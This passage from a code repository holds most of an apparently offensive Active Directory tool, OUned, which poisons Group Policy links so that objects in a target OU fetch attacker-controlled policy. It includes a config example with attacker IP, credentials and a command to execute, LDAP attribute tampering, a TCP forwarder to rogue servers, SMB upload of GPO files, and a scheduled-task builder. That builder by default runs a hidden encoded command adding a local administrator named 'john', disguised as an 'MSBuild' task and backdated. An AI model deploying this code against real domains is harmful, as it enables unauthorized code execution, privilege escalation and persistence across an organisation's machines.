(FQDN) ' 551 | 'specified in the account parameter will be used.') 552 | group.add_argument('-computer-group', action='store', metavar='CN=Computers,DC=test,DC=local', help='Group to which the account will be added.' 553 | 'If omitted, CN=Computers will be used,') 554 | 555 | group = parser.add_argument_group('authentication') 556 | 557 | group.add_argument('-hashes', action="store", metavar = "LMHASH:NTHASH", help='NTLM hashes, format is LMHASH:NTHASH') 558 | group.add_argument('-no-pass', action="store_true", help='don\'t ask for password (useful for -k)') 559 | group.add_argument('-k', action="store_true", help='Use Kerberos authentication. Grabs credentials from ccache file ' 560 | '(KRB5CCNAME) based on account parameters. If valid credentials ' 561 | 'cannot be found, it will use the ones specified in the command ' 562 | 'line') 563 | group.add_argument('-aesKey', action="store", metavar = "hex key", help='AES key to use for Kerberos Authentication ' 564 | '(128 or 256 bits)') 565 | group.add_argument('-dc-host', action='store',metavar = "hostname", help='Hostname of the domain controller to use. ' 566 | 'If ommited, the domain part (FQDN) ' 567 | 'specified in the account parameter will be used') 568 | group.add_argument('-dc-ip', action='store',metavar = "ip", help='IP of the domain controller to use. ' 569 | 'Useful if you can\'t translate the FQDN.' 570 | 'specified in the account parameter will be used') 571 | 572 | 573 | if len(sys.argv)==1: 574 | parser.print_help() 575 | sys.exit(1) 576 | 577 | options = parser.parse_args() 578 | 579 | if options.debug is True: 580 | logging.getLogger().setLevel(logging.DEBUG) 581 | # Print the Library's installation path 582 | logging.debug(version.getInstallationPath()) 583 | else: 584 | logging.getLogger().setLevel(logging.INFO) 585 | 586 | domain, username, password = parse_credentials(options.account) 587 | 588 | try: 589 | if domain is None or domain == '': 590 | logging.critical('Domain should be specified!') 591 | sys.exit(1) 592 | 593 | if password == '' and username != '' and options.hashes is None and options.no_pass is False and options.aesKey is None: 594 | from getpass import getpass 595 | password = getpass("Password:") 596 | 597 | if options.aesKey is not None: 598 | options.k = True 599 | 600 | options.method = "LDAPS" 601 | options.port = 636 602 | 603 | 604 | executer = ADDCOMPUTER(username, password, domain, options) 605 | executer.run() 606 | except Exception as e: 607 | if logging.getLogger().level == logging.DEBUG: 608 | import traceback 609 | traceback.print_exc() 610 | print(str(e)) 611 | -------------------------------------------------------------------------------- /cleaning/.placeholder: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/synacktiv/OUned/e4a8d10a9afdfb307a4baa7acb3c8e54d0199a59/cleaning/.placeholder -------------------------------------------------------------------------------- /conf.py: -------------------------------------------------------------------------------- 1 | from enum import Enum 2 | 3 | class GPOTypes(str, Enum): 4 | user = "user" 5 | computer = "computer" 6 | 7 | class SMBModes(str, Enum): 8 | embedded = "embedded" 9 | forwarded = "forwarded" 10 | 11 | class bcolors: 12 | HEADER = '\033[95m' 13 | OKBLUE = '\033[94m' 14 | OKCYAN = '\033[96m' 15 | OKGREEN = '\033[92m' 16 | WARNING = '\033[93m' 17 | FAIL = '\033[91m' 18 | ENDC = '\033[0m' 19 | BOLD = '\033[1m' 20 | UNDERLINE = '\033[4m' 21 | 22 | OUTPUT_DIR = "GPT_out" 23 | CLEAN_DIR = "cleaning" -------------------------------------------------------------------------------- /config.example.ini: -------------------------------------------------------------------------------- 1 | [GENERAL] 2 | # The target domain name 3 | domain=corp.com 4 | 5 | # The target Organizational Unit name 6 | ou=ACCOUNTING 7 | 8 | # The username and password of the user having write permissions on the gPLink attribute of the target OU 9 | username=naugustine 10 | password=Password1 11 | 12 | # The IP address of the attacker machine on the internal network 13 | attacker_ip=192.168.123.16 14 | 15 | # The command that should be executed by child objects 16 | command=whoami > C:\Temp\accounting.txt 17 | 18 | # The kind of objects targeted ("computer" or "user") 19 | target_type=user 20 | 21 | 22 | [LDAP] 23 | # The IP address of the dummy domain controller that will act as an LDAP server 24 | ldap_ip=192.168.125.245 25 | 26 | # Optional (used for sanity checks) - the hostname of the dummy domain controller 27 | ldap_hostname=WIN-TTEBC5VH747 28 | 29 | # The username and password of a domain administrator on the dummy domain controller 30 | ldap_username=ldapadm 31 | ldap_password=Password1! 32 | 33 | # The ID of the GPO (can be empty, only needs to exist) on the dummy domain controller 34 | gpo_id=7B7D6B23-26F8-4E4B-AF23-F9B9005167F6 35 | 36 | # The machine account name and password on the target domain that will be used to fake the LDAP server delivering the GPC 37 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%') 38 | ldap_machine_name=OUNED$ 39 | ldap_machine_password=some_very_long_random_password_with_percent_signs_escaped 40 | 41 | [SMB] 42 | # The SMB mode can be embedded or forwarded depending on the kind of object targeted 43 | smb_mode=forwarded 44 | 45 | # The name of the SMB share. Can be anything for embedded mode, should match an existing share on SMB dummy domain controller for forwarded mode 46 | share_name=synacktiv 47 | 48 | # The IP address of the dummy domain controller that will act as a SMB server 49 | smb_ip=192.168.126.206 50 | 51 | # The username and password of a user having write access to the share on the SMB dummy domain controller 52 | smb_username=smbadm 53 | smb_password=Password1! 54 | 55 | # The machine account name and password on the target domain that will be used to fake the SMB server delivering the GPT 56 | # Do not forget to escape '%' signs by doubling them ! (e.g. '%%') 57 | smb_machine_name=OUNED2$ 58 | smb_machine_password=some_very_long_random_password_with_percent_signs_escaped 59 | -------------------------------------------------------------------------------- /helpers/clean_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import time 3 | import configparser 4 | 5 | from helpers.ldap_utils import unset_attribute, modify_attribute 6 | from conf import CLEAN_DIR, bcolors 7 | 8 | def init_save_file(OU_name): 9 | os.makedirs(os.path.join(CLEAN_DIR, OU_name), exist_ok=True) 10 | 11 | timestr = time.strftime("%Y_%m_%d-%H_%M_%S") 12 | save_file_name = os.path.join(CLEAN_DIR, OU_name, timestr + ".txt") 13 | 14 | open(save_file_name, "x") 15 | return save_file_name 16 | 17 | def save_attribute_value(attribute_name, value, save_file, target, dn): 18 | with open(save_file, 'a') as f: 19 | to_write = f"[{attribute_name}]\ndn={dn}\ntarget={target}\nold_value={value}\n\n" 20 | f.write(to_write) 21 | 22 | def clean(domain_ldap_session, ldap_server_ldap_session, save_file): 23 | to_clean = configparser.ConfigParser() 24 | to_clean.read(save_file) 25 | 26 | for key in to_clean: 27 | if key == "DEFAULT": 28 | continue 29 | if to_clean[key]['target'] == "domain": 30 | session = domain_ldap_session 31 | else: 32 | session = ldap_server_ldap_session 33 | dn = to_clean[key]['dn'] 34 | 35 | if 'old_value' not in to_clean[key]: 36 | print(f"{bcolors.FAIL}[-] No old value saved for {key}. Skipping.{bcolors.ENDC}") 37 | continue 38 | if session == None: 39 | print(f"{bcolors.FAIL}[-] No session to restore {key}. Skipping.{bcolors.ENDC}") 40 | continue 41 | print(f"[*] Restoring value of {key} on '{to_clean[key]['target']}' - {to_clean[key]['old_value']}") 42 | if to_clean[key]['old_value'] == '[]' or to_clean[key]['old_value'] == '' or to_clean[key]['old_value'] == 'None': 43 | result = unset_attribute(session, dn, key) 44 | else: 45 | result = modify_attribute(session, dn, key, to_clean[key]['old_value']) 46 | 47 | if result is True: 48 | print(f"{bcolors.OKGREEN}[+] Successfully restored {key} on '{to_clean[key]['target']}'{bcolors.ENDC}") 49 | else: 50 | print(f"{bcolors.FAIL}[-] Couldn't clean value for {key} on '{to_clean[key]['target']}'. You can try to re-run OUned with the {bcolors.ENDC}{bcolors.BOLD}--just-clean{bcolors.ENDC} flag, or clean LDAP attributes manually{bcolors.ENDC}") -------------------------------------------------------------------------------- /helpers/forwarder.py: -------------------------------------------------------------------------------- 1 | import socket 2 | import sys 3 | import _thread as thread 4 | import time 5 | 6 | def server(*settings): 7 | try: 8 | msg = f" - client is querying its GPC (LDAP), forwarding to {settings[2]}:{settings[3]}" if settings[1] == 389 else f" - client is querying its GPT (SMB), forwarding to {settings[2]}:{settings[3]}" 9 | dock_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 10 | dock_socket.bind((settings[0], settings[1])) 11 | dock_socket.listen(5) 12 | while True: 13 | client_socket, upstream_addr = dock_socket.accept() 14 | print(f"[FORWARDER] Incoming connection from {upstream_addr}" + msg) 15 | server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM) 16 | server_socket.connect((settings[2], settings[3])) 17 | thread.start_new_thread(forward, (client_socket, server_socket)) 18 | thread.start_new_thread(forward, (server_socket, client_socket)) 19 | finally: 20 | thread.start_new_thread(server, settings) 21 | 22 | def forward(source, destination): 23 | string = ' ' 24 | while string: 25 | try: 26 | string = source.recv(1024) 27 | if string: 28 | destination.sendall(string) 29 | else: 30 | raise ConnectionResetError() 31 | except ConnectionResetError: 32 | pass 33 | -------------------------------------------------------------------------------- /helpers/ldap_utils.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from ldap3 import Server, Connection, SUBTREE, MODIFY_REPLACE, MODIFY_DELETE, ALL, NTLM 4 | 5 | def ldap_check_credentials(ldap_ip, username, password, domain): 6 | try: 7 | server = Server(f'ldap://{ldap_ip}:389', get_info=ALL) 8 | conn = Connection(server, user=f"{domain}\\{username}", password=password, authentication=NTLM, auto_bind=True) 9 | conn.unbind() 10 | return True 11 | except: 12 | import traceback 13 | traceback.print_exc() 14 | return False 15 | 16 | def get_attribute(ldap_session, dn, attribute): 17 | try: 18 | ldap_session.search( 19 | search_base=dn, 20 | search_filter='(objectClass=*)', 21 | search_scope=SUBTREE, 22 | attributes=[attribute,], 23 | ) 24 | 25 | searchResult = ldap_session.response[0] 26 | value = searchResult['attributes'][attribute] 27 | return value 28 | except: 29 | logging.error(f"‼️ Error: couldn't find attribute {attribute} for dn {dn}. Things will probably break.") 30 | return None 31 | 32 | 33 | def modify_attribute(ldap_session, dn, attribute, new_value): 34 | result = ldap_session.modify(dn, {attribute: [(MODIFY_REPLACE, [new_value])]}) 35 | return result 36 | 37 | def unset_attribute(ldap_session, dn, attribute): 38 | result = ldap_session.modify(dn, {attribute: [(MODIFY_DELETE, [])]}) 39 | return result 40 | 41 | def update_extensionNames(extensionName): 42 | val1 = "00000000-0000-0000-0000-000000000000" 43 | val2 = "CAB54552-DEEA-4691-817E-ED4A4D1AFC72" 44 | val3 = "AADCED64-746C-4633-A97C-D61349046527" 45 | 46 | if extensionName is None: 47 | extensionName = "" 48 | 49 | try: 50 | if not val2 in extensionName: 51 | new_values = [] 52 | toUpdate = ''.join(extensionName) 53 | test = toUpdate.split("[") 54 | for i in test: 55 | new_values.append(i.replace("{", "").replace("}", " ").replace("]", "")) 56 | 57 | if val1 not in toUpdate: 58 | new_values.append(val1 + " " + val2) 59 | 60 | elif val1 in toUpdate: 61 | for k, v in enumerate(new_values): 62 | if val1 in new_values[k]: 63 | toSort = [] 64 | test2 = new_values[k].split() 65 | for f in range(1, len(test2)): 66 | toSort.append(test2[f]) 67 | toSort.append(val2) 68 | toSort.sort() 69 | new_values[k] = test2[0] 70 | for val in toSort: 71 | new_values[k] += " " + val 72 | 73 | if val3 not in toUpdate: 74 | new_values.append(val3 + " " + val2) 75 | 76 | elif val3 in toUpdate: 77 | for k, v in enumerate(new_values): 78 | if val3 in new_values[k]: 79 | toSort = [] 80 | test2 = new_values[k].split() 81 | for f in range(1, len(test2)): 82 | toSort.append(test2[f]) 83 | toSort.append(val2) 84 | toSort.sort() 85 | new_values[k] = test2[0] 86 | for val in toSort: 87 | new_values[k] += " " + val 88 | 89 | new_values.sort() 90 | 91 | new_values2 = [] 92 | for i in range(len(new_values)): 93 | if new_values[i] is None or new_values[i] == "": 94 | continue 95 | value1 = new_values[i].split() 96 | new_val = "" 97 | for q in range(len(value1)): 98 | if value1[q] is None or value1[q] == "": 99 | continue 100 | new_val += "{" + value1[q] + "}" 101 | new_val = "[" + new_val + "]" 102 | new_values2.append(new_val) 103 | 104 | return "".join(new_values2) 105 | else: 106 | return extensionName 107 | except: 108 | return "[{" + val1 + "}{" + val2 + "}]" + "[{" + val3 + "}{" + val2 + "}]" -------------------------------------------------------------------------------- /helpers/scheduledtask_utils.py: -------------------------------------------------------------------------------- 1 | import binascii 2 | import logging 3 | import os 4 | import re 5 | import uuid 6 | from base64 import b64encode 7 | from datetime import datetime, timedelta 8 | from xml.sax.saxutils import escape 9 | import xml.etree.ElementTree as ET 10 | 11 | 12 | from conf import OUTPUT_DIR 13 | 14 | 15 | class ScheduledTask: 16 | def __init__(self, gpo_type="computer", name="", mod_date="", description="", powershell=False, command="", old_value=""): 17 | self._type = gpo_type 18 | 19 | if name: 20 | self._name = name 21 | else: 22 | self._name = "TASK_" + binascii.b2a_hex(os.urandom(4)).decode('ascii') 23 | 24 | if mod_date: 25 | self._mod_date = mod_date 26 | else: 27 | mod_date = datetime.now() - timedelta(days=30) 28 | self._mod_date = mod_date.strftime("%Y-%m-%d %H:%M:%S") 29 | self._guid = str(uuid.uuid4()).upper() 30 | self._author = "NT AUTHORITY\\System" 31 | if description: 32 | self._description = description 33 | else: 34 | self._description = "MSBuild build and release task" 35 | 36 | if powershell: 37 | self._shell = escape("powershell.exe") 38 | if command: 39 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode(command.encode('UTF-16LE')).decode("utf-8"))) 40 | else: 41 | self._command = escape('-windowstyle hidden -nop -enc {}'.format(b64encode('net user john H4x00r123.. /add;net localgroup administrators john /add'.encode('UTF-16LE')).decode('utf-8'))) 42 | else: 43 | self._shell = escape('c:\\windows\\system32\\cmd.exe') 44 | if command: 45 | self._command = escape('/c "{}"'.format(command)) 46 | else: 47 | self._command = escape('/c "net user john H4x00r123.. /add && net localgroup administrators john /add"') 48 | 49 | logging.debug(self._shell + " " + self._command) 50 | self._old_value = old_value 51 | 52 | self._task_str_begin = f"""""" 53 | if self._type == "computer": 54 | self._task_str = f"""{self._author}{self._description}NT AUTHORITY\\SystemHighestAvailableS4UPT10MPT1HtruefalseIgnoreNewfalsetruefalsetruefalsetruetruePT0S7PT0SPT15M3{self._shell}{self._command}%LocalTimeXmlEx%%LocalTimeXmlEx%true""" 55 | else: 56 | self._task_str = f"""{self._author}{self._description}%LogonDomain%\%LogonUser%InteractiveTokenHighestAvailablePT10MPT1HtruefalseIgnoreNewtruetruetruetruefalsetruetruefalsefalsefalseP3D7PT0S%LocalTimeXmlEx%%LocalTimeXmlEx%true{self._shell}{self._command}""" 57 | 58 | self._task_str_end = f"""""" 59 | 60 | def generate_scheduled_task_xml(self): 61 | if self._old_value == "": 62 | return self._task_str_begin + self._task_str + self._task_str_end 63 | 64 | return re.sub(r"< */ *ScheduledTasks>", self._task_str.replace("\\", "\\\\") + self._task_str_end, self._old_value) 65 | 66 | def get_name(self): 67 | return self._name 68 | 69 | def parse_tasks(self, xml_tasks): 70 | elem = ET.fromstring(xml_tasks) 71 | tasks = [] 72 | for child in elem.findall("*"): 73 | task_type = child.tag 74 | task_properties = child.find("Properties") 75 | action = task_properties.get('action') 76 | name = task_properties.get('name') 77 | tasks.append([ 78 | action if action is not None else "?", 79 | name if name is not None else "", 80 | task_type if task_type is not None else "" 81 | ]) 82 | return tasks 83 | 84 | def write_scheduled_task(gpo_type, command, powershell): 85 | root_path = "Machine" if gpo_type == "computer" else "User" 86 | scheduled_tasks_path = os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks", "ScheduledTasks.xml") 87 | 88 | if os.path.exists(scheduled_tasks_path): 89 | with open(scheduled_tasks_path, "r") as f: 90 | st_content = f.read() 91 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command, old_value=st_content) 92 | tasks = st.parse_tasks(st_content) 93 | new_content = st.generate_scheduled_task_xml() 94 | else: 95 | st_content = "" 96 | os.makedirs(os.path.join(OUTPUT_DIR, root_path, "Preferences", "ScheduledTasks"), exist_ok=True) 97 | st = ScheduledTask(gpo_type=gpo_type, powershell=powershell, command=command) 98 | new_content = st.generate_scheduled_task_xml() 99 | 100 | with open(scheduled_tasks_path, "w") as f: 101 | f.write(new_content) -------------------------------------------------------------------------------- /helpers/smb_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import shutil 3 | import logging 4 | 5 | from functools import partial 6 | from conf import OUTPUT_DIR 7 | from impacket.smbconnection import SMBConnection 8 | 9 | def get_smb_connection(dc_ip, username, password, hash, domain): 10 | smb_session = SMBConnection(dc_ip, dc_ip) 11 | if hash is not None: 12 | smb_session.login(user=username, lmhash=hash.split(':')[0], nthash=hash.split(':')[1], password=None, domain=domain) 13 | else: 14 | smb_session.login(user=username, password=password, domain=domain) 15 | return smb_session 16 | 17 | 18 | def write_data_to_file(local_file_name, data): 19 | # Sometimes, the gpt.ini file will be stored in the SMB share as "GPT.INI", 20 | # which causes issues when the DC is then looking for it in our spoofed share. 21 | directory, filename = os.path.split(local_file_name) 22 | if filename == "GPT.INI": 23 | filename = filename.lower() 24 | local_file_name = os.path.join(directory, filename) 25 | 26 | with open(local_file_name, "wb") as local_file: 27 | local_file.write(data) 28 | 29 | def recursive_smb_download(smb_session, share, remote_path, local_path): 30 | items = smb_session.listPath(share, os.path.join(remote_path, '*')) 31 | 32 | for item in items: 33 | if item.is_directory(): 34 | if item.get_longname() == '.' or item.get_longname() == '..': 35 | continue 36 | subdirectory = os.path.join(local_path, item.get_longname()) 37 | os.makedirs(subdirectory, exist_ok=True) 38 | recursive_smb_download(smb_session, share, os.path.join(remote_path, item.get_longname()), subdirectory) 39 | 40 | else: 41 | callback = partial(write_data_to_file, os.path.join(local_path, item.get_longname())) 42 | smb_session.getFile(share, os.path.join(remote_path, item.get_longname()), callback) 43 | 44 | 45 | 46 | def download_initial_gpo(smb_session, domain, gpo_id): 47 | try: 48 | tid = smb_session.connectTree("SYSVOL") 49 | logging.info(f"Connected to SYSVOL share") 50 | except: 51 | logging.error(f"Unable to connect to SYSVOL share", exc_info=True) 52 | return False 53 | 54 | path = domain + "/Policies/{" + gpo_id + "}" 55 | 56 | try: 57 | shutil.rmtree(OUTPUT_DIR, ignore_errors=True) 58 | os.makedirs(OUTPUT_DIR, exist_ok=True) 59 | recursive_smb_download(smb_session, "SYSVOL", path, OUTPUT_DIR) 60 | logging.debug("Successfully cloned GPO {} from SYSVOL".format(gpo_id)) 61 | except: 62 | logging.error("Couldn't clone GPO {} (maybe it does not exist?)".format(gpo_id), exc_info=True) 63 | return False 64 | 65 | 66 | def upload_directory_to_share(smb_session, remote_share): 67 | try: 68 | for root, dirs, files in os.walk(OUTPUT_DIR): 69 | remote_subdir = os.path.relpath(root, OUTPUT_DIR) 70 | if remote_subdir != '.': 71 | smb_session.createDirectory(remote_share, remote_subdir) 72 | for file in files: 73 | local_file_path = os.path.join(root, file) 74 | remote_file_path = os.path.join(remote_subdir, file) 75 | with open(local_file_path, 'rb') as local_file: 76 | smb_session.putFile(remote_share, remote_file_path, local_file.read) 77 | except: 78 | import traceback 79 | traceback.print_exc() 80 | 81 | 82 | def recursive_smb_delete(smb_session, remote_share, root): 83 | items = smb_session.listPath(remote_share, root) 84 | for item in items: 85 | if item.is_directory(): 86 | if item.get_longname() not in ['.', '..']: 87 | new_root = root[:-1] + item.get_longname() + '/*' 88 | recursive_smb_delete(smb_session, remote_share, new_root) 89 | smb_session.deleteDirectory(remote_share, root[:-1] + item.get_longname()) 90 | else: 91 | smb_session.deleteFile(remote_share, root[:-1] + item.get_longname()) -------------------------------------------------------------------------------- /helpers/version_utils.py: -------------------------------------------------------------------------------- 1 | import os 2 | import re 3 | 4 | from helpers.ldap_utils import get_attribute 5 | from conf import OUTPUT_DIR 6 | 7 | def update_GPT_version_number(ldap_session, gpo_dn, gpo_type): 8 | versionNumber = int(get_attribute(ldap_session, gpo_dn, "versionNumber")) 9 | if gpo_type == "computer": 10 | updated_version = versionNumber + 1 11 | else: 12 | updated_version = versionNumber + 65536 13 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'r', errors='surrogateescape') as f: 14 | content = f.read() 15 | new_content = re.sub('=[0-9]+', '={}'.format(updated_version), content) 16 | with open(os.path.join(OUTPUT_DIR, "gpt.ini"), 'w', errors='surrogateescape') as f: 17 | f.write(new_content) 18 | -------------------------------------------------------------------------------- /requirements.txt: -------------------------------------------------------------------------------- 1 | ldap3 2 | impacket 3 | dnspython 4 | typer[all] --------------------------------------------------------------------------------